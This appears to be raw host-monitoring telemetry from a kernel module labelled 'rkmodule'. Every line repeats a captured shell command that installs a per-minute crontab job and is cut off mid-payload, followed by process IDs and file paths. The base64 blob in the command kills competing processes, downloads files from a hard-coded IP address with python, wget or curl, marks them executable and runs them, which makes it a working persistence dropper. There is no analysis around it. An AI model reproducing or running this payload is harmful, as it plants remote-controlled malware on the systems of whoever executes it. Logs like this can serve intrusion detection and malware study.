  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x38d] [crontab][PID:0x3b8] do_filp_open. Filename: \"crontabs/tmp.YPv67H\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [systemd][PPID:0x1] [systemd-journal][PID:0x8d] sock_create. Domain: 0x
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [utnb][PPID:0x2de] [sh][PID:0x456] vfs_read. File: \"/lib/x86_64-linux-gnu/ld-2.19.so\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x3ac] [crontab][PID:0x3de] do_filp_open. Filename: \"/usr/lib/locale/locale-archive\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [iicu][PID:0x467] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x360] [crontab][PID:0x38a] filp_close. File: \"/var/spool/cron/crontabs/tmp.jH7LBJ\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x3a2] [crontab][PID:0x3d5] do_filp_open. Filename: \"crontabs/tmp.Jto57i\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x3c9] [crontab][PID:0x406] do_filp_open. Filename: \"/usr/lib/locale/locale-archive\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x394] [crontab][PID:0x3c1] vfs_getattr. path: \"/var/spool/cron/crontabs/tmp.VAsQfC\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x477] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x3c7] [crontab][PID:0x405] do_filp_open. Filename: \"/etc/ld.so.cache\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [keyd][PPID:0x2f1] [keyd][PID:0x479] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [iicu][PID:0x47a] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x35e] [crontab][PID:0x388] do_filp_open. Filename: \"/usr/share/locale/en/LC_MESSAGES/libc.mo\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [utnb][PPID:0x2de] [sh][PID:0x445] vfs_getattr. path: \"/var/tmp\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x41d] [crontab][PID:0x470] filp_close. File: \"/lib/x86_64-linux-gnu/libpam.so.0.83.1\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3M